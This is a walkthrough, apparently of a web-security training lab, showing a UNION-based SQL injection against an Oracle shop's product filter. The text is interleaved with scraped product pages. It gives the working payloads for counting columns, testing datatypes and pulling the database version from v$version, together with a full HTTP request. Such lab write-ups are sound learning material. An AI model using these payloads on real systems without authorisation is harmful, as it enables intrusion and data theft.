


Lab-6: SQL injection attack, querying the database type and version on Oracle

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query, and the Objective is to find the database type and version on Oracle. In Oracle the SELECT should compulsorily require FROM keyword and for this purpose dual table is there in Oracle Database.

The Below is the Lab's Homepage,



SQL injection attack, querying the database type and version on Oracle

LAB Not solved

Make the database retrieve the strings: 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production, PL/SQL Release 11.2.0.2.0 - Production, CORE 11.2.0.2.0 Production, TNS for Linux: Version 11.2.0.2.0 - Production, NLSRTL Version 11.2.0.2.0 - Production'

Back to lab description >>

Home

WE LIKE TO

SHOP



Refine your search:

All Corporate gifts Food & Drink Gifts Lifestyle Pets

Caution Sign

Alert your loved ones to the perils of the bathroom before it's too late thanks to this novelty sign. Perfect for home or even the office, be sure to pop it under your arm and take it to the loo when you're going for an extended visit. Its bright yellow colour and red caution sign means no one can ever yell at you for not forewarning them what they have to endure following you into the restroom. The foldable design means you simply leave it out as long as is needed and collapse it when it's safe to return. The sign is also double sided to be absolutely certain that there will be no confusion! It's the ideal secret Santa gift for that co-worker, you know the one! It also makes a great gag gift and stocking filler! Be warned and stay safe with this toilet caution sign!

Com-Tool

You Need Never Look Anyone In The Eye Again Com-Tool is delighted to bring you this revolutionary concept in the world of communication. It does exactly what it says on the tin. An innovative new way to socialize and enjoy live major events with the flick of a switch (finger on a touchscreen). Feedback has been phenomenal as Com-Tool is being introduced into a variety of social settings: 'I was so shy on my wedding day, Com-Tool came to the rescue as everyone

Since it is a union-based attack to determine the version of the oracle database, the first step is to determine the numbers and datatype of each Column. By intercepting the product category filter, we found out there are 2 columns, and the payload used to determine the number of columns is,

GET /filter?category=Tech+gifts'**UNION+SELECT+NULL,NULL+FROM+dual--**
HTTP/2



SQL injection attack, querying the database type and version on Oracle

LAB Not solved

Back to lab home

Make the database retrieve the strings: 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production, PL/SQL Release 11.2.0.2.0 - Production, CORE 11.2.0.2.0 Production, TNS for Linux: Version 11.2.0.2.0 - Production, NLSRTL Version 11.2.0.2.0 - Production'

Back to lab description >>

Home



Tech gifts'UNION SELECT NULL,NULL FROM dual--


Refine your search:
[All](#) [Accessories](#) [Corporate gifts](#) [Lifestyle](#) [Pets](#) [Tech gifts](#)

All-in-One Typewriter

This All-in-One compact and portable typewriter is on every writer's wish list. No need for separate bulky printers, just feed the paper in with the handy rolling thing and create print in seconds. This is a must-have gadget for all those who like to print on the go. Its revolutionary instant print mechanism saves you time and money, you no longer need to take your memory stick to the nearest printing outlet, you can type and print at the same time. It is a space saving dream. You need not fear if you are a clumsy typist, all mistakes can quickly be 'whited' out with the accompanying bottle of corrective fluid, just apply, blow, and away you go. Every letter of the alphabet is inscribed on the keys making it useful for all your writing needs, numbers are also available especially useful if you need to type up your backlog of invoices. This handy little device comes with a carrying case, and convenient handle weighing in at only 15 pounds. The mobile

And the next step is to determine the datatype in each column, the payload used to determine the datatype of each column is the following:

GET /filter?category=Tech+gifts'**UNION+SELECT+'string?',NULL+FROM+dual--**
HTTP/2



SQL injection attack, querying the database type and version on Oracle


LAB Not solved

Back to lab home

Make the database retrieve the strings: 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production, PL/SQL Release 11.2.0.2.0 - Production, CORE 11.2.0.2.0 Production, TNS for Linux: Version 11.2.0.2.0 - Production, NLSRTL Version 11.2.0.2.0 - Production'

Back to lab description >>

Home



Tech gifts'UNION SELECT 'string?',NULL FROM dual--

Refine your search:
[All](#) [Accessories](#) [Corporate gifts](#) [Lifestyle](#) [Pets](#) [Tech gifts](#)

All-in-One Typewriter

This All-in-One compact and portable typewriter is on every writer's wish list. No need for separate bulky printers, just feed the paper in with the handy rolling thing and create print in seconds. This is a must-have gadget for all those who like to print on the go. Its revolutionary instant print mechanism saves you time and money, you no longer need to take your memory stick to the nearest printing outlet, you can type and print at the same time. It is a space saving dream. You need not fear if you are a clumsy typist, all mistakes can quickly be 'whited' out with the accompanying bottle of corrective fluid, just apply, blow, and away you go. Every letter of the alphabet is inscribed on the keys making it useful for all your writing needs, numbers are also available especially useful if you need to type up your backlog of invoices. This handy little device comes with a carrying case, and convenient handle weighing in at only 15 pounds. The mobile office has just

The next step is to determine the version of the oracle database and the payload for finding the version were:

GET

/filter?category=Tech+gifts'**UNION+SELECT+banner,NULL+FROM+v\$version--**
HTTP/2

```
GET /filter?category=Tech+gifts'UNION+SELECT+banner,NULL+FROM+v$version-- HTTP/2
Host: 0ala004003043alb803e127b00d70095.web-security-academy.net
Cookie: session=678fqDBbMh7HApAcm3Ds7actIySuSSG
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ala004003043alb803e127b00d70095.web-security-academy.net/filter?category=Tech+gifts
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
```

Tech gifts'**UNION SELECT banner,NULL FROM v\$version--**

Refine your search:

[All](#) [Clothing, shoes and accessories](#) [Corporate gifts](#) [Food & Drink](#) [Gifts](#) [Tech gifts](#)

3D Voice Assistants

Voice assistants have just got so much better. You no longer have to look at a blank screen, your 3d assistant can be customized to resemble anyone you want it to be. Your assistant works via a Bluetooth connection enabling you to keep that cell tucked away out of sight. Pop your assistant on the table, in your top pocket, or anywhere you like. Just like other voice assistants you can communicate in real time and ask it anything you need to know. You will never be alone with your 3D assistant. Good company for all occasions, debate, play puzzles and listen to your choice of music together. Your assistant comes with a 600 page, hard copy, instruction manual, allowing you to train it to its full capacity. There are over 5000 command and responses you can easily input ensuring many evenings of entertaining conversation, and mind-boggling facts and figures that will blow your mind. Once fully enabled you only need to update your assistant once a month when we send you the upgraded 500-page electronic instruction manual. You will always be abreast of the latest technology and on top of current affairs as our team trawl the net for new information for you to add to your existing database. Get yourself a pocket friend and expand your mind today.

Beat the Vacation Traffic

Tired of sitting in traffic on the highway? Feel like you're getting nowhere fast? No-one wants to spend most of their vacation wasting valuable time. Start your holiday as soon as you leave your drive with our super VW add on wheels. These wheels will transport you safely over most standard vehicles on the road. Better still you will see your destination ahead before you even reach it. As more of these adapted vehicles hit the streets other road users will become accustomed to them passing over the roof of their cars, and not panic as you ascend at the rear. This little extra is not as costly as you might think, but they will need to be fitted by one of our approved engineers. Once they are secured, the tires will only need to be replaced every six months, or 100 Kilometers, depending on how many vehicles you have driven over. Don't let heavy traffic stress you out, become a leader in easy travel, and book a consultation with one of our experts today.

CORE 11.2.0.2.0 Production

Grow Your Own Spy Kit

Everyone is getting wise to the nanny cams, and the old fashioned ways of listening in on other people's conversations. No-one trusts a cute looking teddy bear anymore, who knows what is hidden behind those button eyes. We have designed a foolproof system that will never catch you out with our 'Grow Your Own Spy Kit'. In the same easy way you plant a seed, or seedling, you pop the water-resistant bug beneath the surface of some fresh compost. With regular watering and a sprinkling of plant food, your bug pots will thrive until they are ready to be gifted to those you wish to spy on. No-one will suspect what you're up to, even if they have their suspicions, the only bugs they are going to find hiding amongst the leaves will be greenfly. On purchasing our 'Grow Your Own Spy Kit' you will be required to sign a Non-Disclosure Agreement, loose lips cost lives you know. Whether you are planning on just having a bit of fun with your family and friends, or you are a serious spy in the making, eavesdropping could not be any easier.

NLSRTL Version 11.2.0.2.0 - Production

Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

PL/SQL Release 11.2.0.2.0 - Production